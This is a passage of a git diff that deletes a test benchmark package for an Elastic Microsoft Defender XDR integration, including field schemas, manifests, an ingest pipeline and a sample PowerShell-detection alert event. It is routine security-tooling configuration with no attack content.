constant_keyword - description: Data stream dataset. -- name: data_stream.namespace - type: constant_keyword - description: Data stream namespace. -- name: event.module - type: constant_keyword - description: Event module. - value: m365_defender -- name: event.dataset - type: constant_keyword - description: Event dataset. - value: m365_defender.alert -- name: '@timestamp' - type: date - description: Event timestamp. diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml deleted file mode 100644 index 4084f1dc7f..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml +++ /dev/null @@ -1,6 +0,0 @@ -- name: input.type - type: keyword - description: Type of filebeat input. -- name: log.offset - type: long - description: Log offset. diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml deleted file mode 100644 index 071b21fc9c..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml +++ /dev/null @@ -1,506 +0,0 @@ -- name: m365_defender.alert - type: group - fields: - - name: actor_display_name - type: keyword - description: The adversary or activity group that is associated with this alert. - - name: assigned_to - type: keyword - description: Owner of the alert, or null if no owner is assigned. - - name: category - type: keyword - description: The attack kill-chain category that the alert belongs to. Aligned with the MITRE ATT&CK framework. - - name: classification - type: keyword - description: 'Specifies whether the alert represents a true threat. Possible values are: unknown, falsePositive, truePositive, benignPositive, unknownFutureValue.' - - name: comments - type: flattened - description: Array of comments created by the Security Operations (SecOps) team during the alert management process. - - name: created_datetime - type: date - description: Time when Microsoft 365 Defender created the alert. - - name: description - type: keyword - description: String value describing each alert. - - name: detection_source - type: keyword - description: Detection technology or sensor that identified the notable component or activity. - - name: detector_id - type: keyword - description: The ID of the detector that triggered the alert. - - name: determination - type: keyword - description: 'Specifies the result of the investigation, whether the alert represents a true attack and if so, the nature of the attack. Possible values are: unknown, apt, malware, securityPersonnel, securityTesting, unwantedSoftware, other, multiStagedAttack, compromisedUser, phishing, maliciousUserActivity, clean, insufficientData, confirmedUserActivity, lineOfBusinessApplication, unknownFutureValue.' - - name: evidence - type: group - fields: - - name: antispam_direction - type: keyword - description: 'Direction of the email relative to your network. The possible values are: Inbound, Outbound or Intraorg.' - - name: app_id - type: keyword - description: Unique identifier of the application. - - name: attachments_count - type: long - description: Number of attachments in the email. - - name: azure_ad_device_id - type: keyword - description: A unique identifier assigned to a device by Azure Active Directory (Azure AD) when device is Azure AD-joined. - - name: cluster_by - type: keyword - description: The clustering logic of the emails inside the cluster. - - name: cluster_by_value - type: keyword - description: The value utilized to cluster the similar emails. - - name: created_datetime - type: date - description: The time the evidence was created and added to the alert. - - name: defender_av_status - type: keyword - description: 'State of the Defender AntiMalware engine. The possible values are: notReporting, disabled, notUpdated, updated, unknown, notSupported, unknownFutureValue.' - - name: delivery_action - type: keyword - description: 'Delivery action of the email. The possible values are: Delivered, DeliveredAsSpam, Junked, Blocked, or Replaced.' - - name: delivery_location - type: keyword - description: 'Location where the email was delivered. The possible values are: Inbox, External, JunkFolder, Quarantine, Failed, Dropped, DeletedFolder or Forwarded.' - - name: detailed_roles - type: keyword - description: Detailed roles of the user associated with the event. - - name: detection_status - type: keyword - description: 'The status of the detection.The possible values are: detected, blocked, prevented, unknownFutureValue.' - - name: device_dns_name - type: keyword - description: The fully qualified domain name (FQDN) for the device. - - name: display_name - type: keyword - description: Name of the application. - - name: email_count - type: long - description: Count of emails in the email cluster. - - name: file_details - type: group - fields: - - name: issuer - type: keyword - description: The certificate authority (CA) that issued the certificate. - - name: name - type: keyword - description: The name of the file. - - name: odata_type - type: keyword - - name: path - type: keyword - description: The file path (location) of the file instance. - - name: publisher - type: keyword - description: The publisher of the file. - - name: sha1 - type: keyword - description: The Sha1 cryptographic hash of the file content. - - name: sha256 - type: keyword - description: The Sha256 cryptographic hash of the file content. - - name: signer - type: keyword - description: The signer of the signed file. - - name: size - type: long - description: The size of the file in bytes. - - name: first_seen_datetime - type: date - description: The date and time when the device was first seen. - - name: health_status - type: keyword - description: 'The health state of the device.The possible values are: active, inactive, impairedCommunication, noSensorData, noSensorDataImpairedCommunication, unknown, unknownFutureValue.' - - name: image_file - type: group - fields: - - name: issuer - type: keyword - description: The certificate authority (CA) that issued the certificate. - - name: name - type: keyword - description: The name of the file. - - name: odata_type - type: keyword - - name: path - type: keyword - description: The file path (location) of the file instance. - - name: publisher - type: keyword - description: The publisher of the file. - - name: sha1 - type: keyword - description: The Sha1 cryptographic hash of the file content. - - name: sha256 - type: keyword - description: The Sha256 cryptographic hash of the file content. - - name: signer - type: keyword - description: The signer of the signed file. - - name: size - type: long - description: The size of the file in bytes. - - name: instance_id - type: keyword - description: Identifier of the instance of the Software as a Service (SaaS) application. - - name: instance_name - type: keyword - description: Name of the instance of the SaaS application. - - name: internet_message_id - type: keyword - description: Public-facing identifier for the email that is set by the sending email system. - - name: ip_address - type: ip - description: The value of the IP Address, can be either in V4 address or V6 address format. - - name: ip_interfaces - type: ip - description: IP Interfaces related to the event. - - name: language - type: keyword - description: Detected language of the email content. - - name: logged_on_users - type: group - fields: - - name: account_name - type: keyword - description: User account name of the logged-on user. - - name: domain_name - type: keyword - description: User account domain of the logged-on user. - - name: odata_type - type: keyword - - name: mde_device_id - type: keyword - description: A unique identifier assigned to a device by Microsoft Defender for Endpoint. - - name: network_message_id - type: keyword - description: Unique identifier for the email, generated by Microsoft 365. - - name: network_message_ids - type: keyword - description: Unique identifiers for the emails in the cluster, generated by Microsoft 365. - - name: object_id - type: keyword - description: The unique identifier of the application object in Azure AD. - - name: odata_type - type: keyword - - name: onboarding_status - type: keyword - description: 'The status of the machine onboarding to Microsoft Defender for Endpoint.The possible values are: insufficientInfo, onboarded, canBeOnboarded, unsupported, unknownFutureValue.' - - name: os_build - type: keyword - description: The build version for the operating system the device is running. - - name: os_platform - type: keyword - description: The operating system platform the device is running. - - name: p1_sender - type: group - fields: - - name: display_name - type: keyword - description: The name of the sender. - - name: domain_name - type: keyword - description: Sender domain. - - name: email_address - type: keyword - description: Sender email address. - - name: odata_type - type: keyword - - name: p2_sender - type: group - fields: - - name: display_name - type: keyword - description: The name of the sender. - - name: domain_name - type: keyword - description: Sender domain. - - name: email_address - type: keyword - description: Sender email address. - - name: odata_type - type: keyword - - name: parent_process - type: group - fields: - - name: creation_datetime - type: date - description: Date and time when the parent of the process was created. - - name: id - type: long - description: Process ID (PID) of the parent process that spawned the process. - - name: image_file - type: group - fields: - - name: issuer - type: keyword - description: The certificate authority (CA) that issued the certificate. - - name: name - type: keyword - description: The name of the file. - - name: odata_type - type: keyword - - name: path - type: keyword - description: The file path (location) of the file instance. - - name: publisher - type: keyword - description: The publisher of the file. - - name: sha1 - type: keyword - description: The Sha1 cryptographic hash of the file content. - - name: sha256 - type: keyword - description: The Sha256 cryptographic hash of the file content. - - name: signer - type: keyword - description: The signer of the signed file. - - name: size - type: long - description: The size of the file in bytes. - - name: primary_address - type: keyword - description: The primary email address of the mailbox. - - name: process - type: group - fields: - - name: command_line - type: keyword - description: Command line used to create the new process. - - name: creation_datetime - type: date - description: Date and time the process was created. - - name: id - type: long - description: Process ID (PID) of the newly created process. - - name: publisher - type: keyword - description: The name of the application publisher. - - name: query - type: keyword - description: The query used to identify the email cluster. - - name: rbac_group - type: group - fields: - - name: id - type: keyword - description: The ID of the role-based access control (RBAC) device group. - - name: name - type: keyword - description: The name of the RBAC device group. - - name: received_datetime - type: date - description: Date and time when the email was received. - - name: recipient_email_address - type: keyword - description: Email address of the recipient, or email address of the recipient after distribution list expansion. - - name: registry_hive - type: keyword - description: Registry hive of the key that the recorded action was applied to. - - name: registry_key - type: keyword - description: Registry key that the recorded action was applied to. - - name: registry_value - type: keyword - description: Data of the registry value that the recorded action was applied to. - - name: registry_value_name - type: keyword - description: Name of the registry value that the recorded action was applied to. - - name: registry_value_type - type: keyword - description: Data type, such as binary or string, of the registry value that the recorded action was applied to. - - name: remediation_status - type: keyword - description: 'Status of the remediation action taken. The possible values are: none, remediated, prevented, blocked, notFound, active, pendingApproval, declined, notRemediated, running, unknownFutureValue.' - - name: remediation_status_details - type: keyword - description: Details about the remediation status. - - name: risk_score - type: keyword - description: 'Risk score as evaluated by Microsoft Defender for Endpoint. The possible values are: none, informational, low, medium, high, unknownFutureValue.' - - name: roles - type: keyword - description: The role/s that an evidence entity represents in an alert, e.g., an IP address that is associated with an attacker will have the evidence role "Attacker". - - name: saas_app_id - type: keyword - description: The identifier of the SaaS application. - - name: security_group_id - type: keyword - description: Unique identifier of the security group. - - name: sender_ip - type: ip - description: IP address of the last detected mail server that relayed the message. - - name: subject - type: keyword - description: Subject of the email. - - name: tags - type: keyword - description: Array of custom tags associated with an evidence instance, for example to denote a group of devices, high value assets, etc. - - name: threat_detection_methods - type: keyword - description: Collection of methods used to detect malware, phishing, or other threats found in the email. - - name: threats - type: keyword - description: Collection of detection names for malware or other threats found. - - name: type - type: keyword - - name: url - type: keyword - description: The Unique Resource Locator (URL). - - name: url_count - type: long - description: Number of embedded URLs in the email. - - name: urls - type: keyword - description: Collection of the URLs contained in this email. - - name: urn - type: keyword - description: Uniform resource name (URN) of the automated investigation where the cluster was identified. - - name: user_account - type: group - fields: - - name: account_name - type: keyword - description: The user account's displayed name. - - name: azure_ad_user_id - type: keyword - description: The user object identifier in Azure AD. - - name: domain_name - type: keyword - description: The name of the Active Directory domain of which the user is a member. - - name: odata_type - type: keyword - - name: user_principal_name - type: keyword - description: The user principal name of the account in Azure AD. - - name: user_sid - type: keyword - description: The local security identifier of the user account. - - name: verdict - type: keyword - description: 'The decision reached by automated investigation. The possible values are: unknown, suspicious, malicious, noThreatsFound, unknownFutureValue.' - - name: version - type: keyword - description: The version of the operating system platform. - - name: vm_metadata - type: group - fields: - - name: cloud_provider - type: keyword - description: 'The cloud provider hosting the virtual machine. The possible values are: unknown, azure, unknownFutureValue.' - - name: odata_type - type: keyword - - name: resource_id - type: keyword - description: Unique identifier of the Azure resource. - - name: subscription_id - type: keyword - description: Unique identifier of the Azure subscription the customer tenant belongs to. - - name: vm_id - type: keyword - description: Unique identifier of the virtual machine instance. - - name: first_activity_datetime - type: date - description: The earliest activity associated with the alert. - - name: id - type: keyword - description: Unique identifier to represent the alert resource. - - name: incident_id - type: keyword - description: Unique identifier to represent the incident this alert resource is associated with. - - name: incident_web_url - type: group - description: URL for the incident page in the Microsoft 365 Defender portal. - fields: - - name: domain - type: keyword - - name: extension - type: keyword - - name: fragment - type: keyword - - name: full - type: keyword - - name: original - type: keyword - - name: password - type: keyword - - name: path - type: keyword - - name: port - type: long - - name: query - type: keyword - - name: scheme - type: keyword - - name: username - type: keyword - - name: last_activity_datetime - type: date - description: The oldest activity associated with the alert. - - name: last_update_datetime - type: date - description: Time when the alert was last updated at Microsoft 365 Defender. - - name: mitre_techniques - type: keyword - description: The attack techniques, as aligned with the MITRE ATT&CK framework. - - name: odata_type - type: keyword - - name: provider_alert_id - type: keyword - description: The ID of the alert as it appears in the security provider product that generated the alert. - - name: recommended_actions - type: keyword - description: Recommended response and remediation actions to take in the event this alert was generated. - - name: resolved_datetime - type: date - description: Time when the alert was resolved. - - name: service_source - type: keyword - description: 'The service or product that created this alert. Possible values are: microsoftDefenderForEndpoint, microsoftDefenderForIdentity, microsoftCloudAppSecurity, microsoftDefenderForOffice365, microsoft365Defender, aadIdentityProtection, appGovernance, dataLossPrevention.' - - name: severity - type: keyword - description: 'Indicates the possible impact on assets. The higher the severity the bigger the impact. Typically higher severity items require the most immediate attention. Possible values are: unknown, informational, low, medium, high, unknownFutureValue.' - - name: status - type: keyword - description: 'The status of the alert. Possible values are: new, inProgress, resolved, unknownFutureValue.' - - name: tenant_id - type: keyword - description: The Azure Active Directory tenant the alert was created in. - - name: threat_display_name - type: keyword - description: The threat associated with this alert. - - name: threat_family_name - type: keyword - description: Threat family associated with this alert. - - name: title - type: keyword - description: Brief identifying string value describing the alert. - - name: web_url - type: group - description: URL for the alert page in the Microsoft 365 Defender portal. - fields: - - name: domain - type: keyword - - name: extension - type: keyword - - name: fragment - type: keyword - - name: full - type: keyword - - name: original - type: keyword - - name: password - type: keyword - - name: path - type: keyword - - name: port - type: long - - name: query - type: keyword - - name: scheme - type: keyword - - name: username - type: keyword diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml deleted file mode 100644 index d96bbb959a..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml +++ /dev/null @@ -1,89 +0,0 @@ -title: Collect Alert logs from Microsoft Defender XDR -type: logs -streams: - - input: httpjson - title: Alerts - description: Collect Alerts from Microsoft Defender XDR. - enabled: false - template_path: httpjson.yml.hbs - vars: - - name: request_url - type: text - title: Request URL - description: URL of API endpoint. - default: https://graph.microsoft.com - multi: false - required: true - show_user: false - - name: initial_interval - type: text - title: Initial Interval - description: How far back to pull the alerts from Microsoft Defender XDR. Supported units for this parameter are h/m/s. - multi: false - required: true - show_user: true - default: 24h - - name: interval - type: text - title: Interval - description: Duration between requests to the Microsoft Security Graph API V2. Supported units for this parameter are h/m/s. - default: 5m - multi: false - required: true - show_user: true - - name: batch_size - type: integer - title: Batch Size - description: Batch size for the response of the Alert Security Graph API V2. The maximum supported batch size value is 2000. - default: 2000 - multi: false - required: true - show_user: false - - name: http_client_timeout - type: text - title: HTTP Client Timeout - description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h. - multi: false - required: true - show_user: false - default: 30s - - name: tags - type: text - title: Tags - description: Tags for the data-stream. - multi: true - required: true - show_user: false - default: - - forwarded - - m365_defender-alert - - name: preserve_original_event - required: true - show_user: true - title: Preserve original event - description: Preserves a raw copy of the original event, added to the field `event.original`. - type: bool - multi: false - default: false - - name: preserve_duplicate_custom_fields - required: true - show_user: false - title: Preserve duplicate custom fields - description: Preserve m365_defender.alert fields that were copied to Elastic Common Schema (ECS) fields. - type: bool - multi: false - default: false - - name: include_unknown_enum_members - show_user: false - title: Include unknown enum members - description: Return unknown members for properties of evolvable enum types. - type: bool - multi: false - - name: processors - type: yaml - title: Processors - multi: false - required: false - show_user: false - description: >- - Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json deleted file mode 100644 index 9b479ee170..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json +++ /dev/null @@ -1,193 +0,0 @@ -{ - "@timestamp": "2023-10-20T09:54:07.503Z", - "agent": { - "ephemeral_id": "f0b1ddcf-5c43-49cb-be37-acefdf4372d0", - "id": "d6e963cc-04ee-46b8-af02-520891431883", - "name": "elastic-agent-85133", - "type": "filebeat", - "version": "8.19.4" - }, - "cloud": { - "account": { - "id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39" - } - }, - "data_stream": { - "dataset": "m365_defender.alert", - "namespace": "57227", - "type": "logs" - }, - "device": { - "id": [ - "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14" - ] - }, - "ecs": { - "version": "8.11.0" - }, - "elastic_agent": { - "id": "d6e963cc-04ee-46b8-af02-520891431883", - "snapshot": false, - "version": "8.19.4" - }, - "event": { - "agent_id_status": "verified", - "category": [ - "host" - ], - "created": "2023-10-20T09:53:09.883Z", - "dataset": "m365_defender.alert", - "duration": 2478000000, - "end": "2023-10-20T09:51:41.993Z", - "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_1", - "ingested": "2026-01-05T12:04:28Z", - "kind": "alert", - "original": "{\"actorDisplayName\":null,\"additionalData\":null,\"alertPolicyId\":null,\"alertWebUrl\":\"https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"assignedTo\":null,\"category\":\"Execution\",\"classification\":null,\"comments\":[],\"createdDateTime\":\"2023-10-20T09:53:09.8839373Z\",\"description\":\"A suspicious PowerShell activity was observed on the machine. \\nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.\",\"detectionSource\":\"microsoftDefenderForEndpoint\",\"detectorId\":\"7f1c3609-a3ff-40e2-995b-c01770161d68\",\"determination\":null,\"evidence\":[{\"@odata.type\":\"#microsoft.graph.security.deviceEvidence\",\"azureAdDeviceId\":\"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14\",\"createdDateTime\":\"2023-10-20T09:53:10.1933333Z\",\"defenderAvStatus\":\"notSupported\",\"detailedRoles\":[\"PrimaryDevice\"],\"deviceDnsName\":\"clw555test\",\"firstSeenDateTime\":\"2023-10-20T09:50:17.7383987Z\",\"healthStatus\":\"inactive\",\"ipInterfaces\":[\"192.168.5.65\",\"fe80::cfe4:80b:615c:38fb\",\"127.0.0.1\",\"::1\"],\"loggedOnUsers\":[{\"accountName\":\"CDPUserIS-38411\",\"domainName\":\"AzureAD\"}],\"mdeDeviceId\":\"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843\",\"onboardingStatus\":\"onboarded\",\"osBuild\":22621,\"osPlatform\":\"Windows11\",\"rbacGroupId\":0,\"rbacGroupName\":null,\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"riskScore\":\"high\",\"roles\":[],\"tags\":[],\"verdict\":\"unknown\",\"version\":\"22H2\",\"vmMetadata\":null}],\"firstActivityDateTime\":\"2023-10-20T09:51:39.5154802Z\",\"id\":\"daefa1828b-dd4e-405c-8a3b-aa28596830dd_1\",\"incidentId\":\"23\",\"incidentWebUrl\":\"https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"lastActivityDateTime\":\"2023-10-20T09:51:41.9939003Z\",\"lastUpdateDateTime\":\"2023-10-20T09:54:07.5033333Z\",\"mitreTechniques\":[\"T1059.001\"],\"productName\":\"Microsoft Defender for Endpoint\",\"providerAlertId\":\"efa1828b-dd4e-405c-8a3b-aa28596830dd_1\",\"recommendedActions\":\"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\\n2. Search the script for more indicators to investigate - for example IP addresses (potential C\\u0026C servers), target computers etc.\\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.\",\"resolvedDateTime\":null,\"serviceSource\":\"microsoftDefenderForEndpoint\",\"severity\":\"medium\",\"status\":\"new\",\"tenantId\":\"3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"threatDisplayName\":null,\"threatFamilyName\":null,\"title\":\"Suspicious PowerShell command line\"}", - "provider": "microsoftDefenderForEndpoint", - "severity": 47, - "start": "2023-10-20T09:51:39.515Z", - "type": [ - "info" - ], - "url": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39" - }, - "host": { - "hostname": [ - "clw555test" - ], - "id": [ - "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843" - ], - "ip": [ - "192.168.5.65", - "fe80::cfe4:80b:615c:38fb", - "127.0.0.1", - "::1" - ], - "os": { - "name": [ - "Windows11" - ], - "version": [ - "22H2" - ] - } - }, - "input": { - "type": "httpjson" - }, - "m365_defender": { - "alert": { - "category": "Execution", - "created_datetime": "2023-10-20T09:53:09.883Z", - "description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.", - "detection_source": "microsoftDefenderForEndpoint", - "detector_id": "7f1c3609-a3ff-40e2-995b-c01770161d68", - "evidence": [ - { - "azure_ad_device_id": "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14", - "created_datetime": "2023-10-20T09:53:10.193Z", - "defender_av_status": "notSupported", - "detailed_roles": [ - "PrimaryDevice" - ], - "device_dns_name": "clw555test", - "first_seen_datetime": "2023-10-20T09:50:17.738Z", - "health_status": "inactive", - "ip_interfaces": [ - "192.168.5.65", - "fe80::cfe4:80b:615c:38fb", - "127.0.0.1", - "::1" - ], - "logged_on_users": [ - { - "account_name": "CDPUserIS-38411", - "domain_name": "AzureAD" - } - ], - "mde_device_id": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", - "odata_type": "#microsoft.graph.security.deviceEvidence", - "onboarding_status": "onboarded", - "os_build": "22621", - "os_platform": "Windows11", - "rbac_group": { - "id": "0" - }, - "remediation_status": "none", - "risk_score": "high", - "verdict": "unknown", - "version": "22H2" - } - ], - "first_activity_datetime": "2023-10-20T09:51:39.515Z", - "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_1", - "incident_id": "23", - "incident_web_url": { - "domain": "security.microsoft.com", - "original": "https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", - "path": "/incidents/23", - "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", - "scheme": "https" - }, - "last_activity_datetime": "2023-10-20T09:51:41.993Z", - "last_update_datetime": "2023-10-20T09:54:07.503Z", - "mitre_techniques": [ - "T1059.001" - ], - "provider_alert_id": "efa1828b-dd4e-405c-8a3b-aa28596830dd_1", - "recommended_actions": "1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.", - "service_source": "microsoftDefenderForEndpoint", - "severity": "medium", - "status": "new", - "tenant_id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39", - "title": "Suspicious PowerShell command line", - "web_url": { - "domain": "security.microsoft.com", - "original": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", - "path": "/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1", - "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", - "scheme": "https" - } - } - }, - "message": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.", - "related": { - "hosts": [ - "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", - "Windows11", - "22H2", - "clw555test", - "AzureAD" - ], - "ip": [ - "192.168.5.65", - "fe80::cfe4:80b:615c:38fb", - "127.0.0.1", - "::1" - ], - "user": [ - "CDPUserIS-38411" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "forwarded", - "m365_defender-alert" - ], - "threat": { - "tactic": { - "name": [ - "Execution" - ] - }, - "technique": { - "subtechnique": { - "id": [ - "T1059.001" - ] - } - } - } -} diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs deleted file mode 100644 index cc801fea22..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs +++ /dev/null @@ -1,4 +0,0 @@ -paths: -{{#each paths as |path i|}} - - {{path}} -{{/each}} diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml deleted file mode 100644 index 7feb820bb5..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml +++ /dev/null @@ -1,21 +0,0 @@ ---- -description: Pipeline for m365_defender logfile data stream. -processors: - - set: - field: event.kind - value: event - - set: - field: event.dataset - value: m365_defender.logfile - - set: - field: event.module - value: m365_defender -on_failure: - - set: - field: event.kind - value: pipeline_error - - append: - field: error.message - value: >- - Processor "{{ _ingest.on_failure_processor_type }}" with tag "{{ _ingest.on_failure_processor_tag }}" - in pipeline "{{ _ingest.on_failure_pipeline }}" failed with message "{{ _ingest.on_failure_message }}" diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml deleted file mode 100644 index 22acc0bad8..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml +++ /dev/null @@ -1,29 +0,0 @@ -- name: data_stream.type - type: constant_keyword - description: Data stream type. -- name: data_stream.dataset - type: constant_keyword - description: Data stream dataset. -- name: data_stream.namespace - type: constant_keyword - description: Data stream namespace. -- name: event.module - type: constant_keyword - description: Event module. - value: m365_defender -- name: event.dataset - type: constant_keyword - description: Event dataset. - value: m365_defender.logfile -- name: '@timestamp' - type: date - description: Event timestamp. -- name: input.type - type: keyword - description: Type of Filebeat input. -- name: log.file.path - type: keyword - description: Full path to the log file this event came from. -- name: log.offset - type: long - description: Offset of the entry in the log file. diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml deleted file mode 100644 index 022e040ae1..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml +++ /dev/null @@ -1,6 +0,0 @@ -- name: m365_defender.logfile - type: group - fields: - - name: message - type: text - description: Raw log line. diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml deleted file mode 100644 index 7167744787..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml +++ /dev/null @@ -1,31 +0,0 @@ -title: Benchmark logfile data stream -type: logs -streams: - - input: filestream - title: Collect logs via filestream - description: Collect benchmark events via filestream input. - template_path: filestream.yml.hbs - vars: - - name: paths - type: text - title: Paths - multi: true - required: true - show_user: true - default: - - /var/log/logfile-*.log - - name: tags - type: text - title: Tags - multi: true - required: true - show_user: false - default: - - forwarded - - m365_defender-logfile - - name: preserve_original_event - type: bool - title: Preserve original event - required: true - show_user: true - default: false diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md b/test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md deleted file mode 100644 index fb5302bfb7..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md +++ /dev/null @@ -1,6 +0,0 @@ -# Multi-Deployer Benchmark - -Test package that exercises both `docker` and `tf` service deployers in system benchmarks. - -- **httpjson** data stream: uses a `docker` deployer running a mock HTTP server. -- **logfile** data stream: uses a `tf` deployer with the Terraform `local` provider (no cloud credentials required). diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml deleted file mode 100644 index 62ae0ccd81..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml +++ /dev/null @@ -1,234 +0,0 @@ -format_version: "3.4.0" -name: m365_defender -title: Microsoft Defender XDR -version: "5.11.1" -description: Collect logs from Microsoft Defender XDR with Elastic Agent. -categories: - - "security" - - "edr_xdr" - - "vulnerability_workflow" - - "cloudsecurity_cdr" -type: integration -conditions: - elastic: - subscription: basic - kibana: - version: "^8.19.10 || ~9.1.10 || ~9.2.4 || ^9.3.0" -policy_templates: - - name: m365_defender - title: Microsoft Defender XDR Logs - description: Collect logs from Microsoft Defender XDR. - deployment_modes: - default: - enabled: true - agentless: - enabled: true - organization: security - division: engineering - team: security-service-integrations - resources: - requests: - memory: 4Gi # Due to the large volume of data being processed in memory, a 4 GB allocation is required for agentless deployment-anything less may lead to out-of-memory (OOM) issue. - inputs: - - type: httpjson - title: "Collect alerts and incidents using Microsoft Graph Security API" - description: "Collect alerts and incidents from Microsoft Defender XDR using Microsoft Graph Security API" - vars: - - name: login_url - type: text - title: Oauth2 Token URL - required: true - show_user: false - default: https://login.microsoftonline.com - description: The Base URL endpoint that will be used to generate the tokens during the oauth2 flow. If not provided, above `Tenant ID` will be used for oauth2 token generation. - - name: token_endpoint - type: text - title: OAuth Token endpoint - required: true - show_user: false - default: oauth2/v2.0/token - description: "Microsoft supports multiple Oauth2 URL endpoints, the default is oauth2/v2.0/token, but can also be oauth2/token" - secret: false - - name: enable_request_tracer - type: bool - title: Enable request tracing - default: false - multi: false - required: false - show_user: false - description: >- - The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. Disabling the request tracer will delete any stored traces. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html#_request_tracer_filename) for details. - - name: client_id - type: text - title: Client ID - description: Client ID for Azure AD application. - multi: false - required: true - 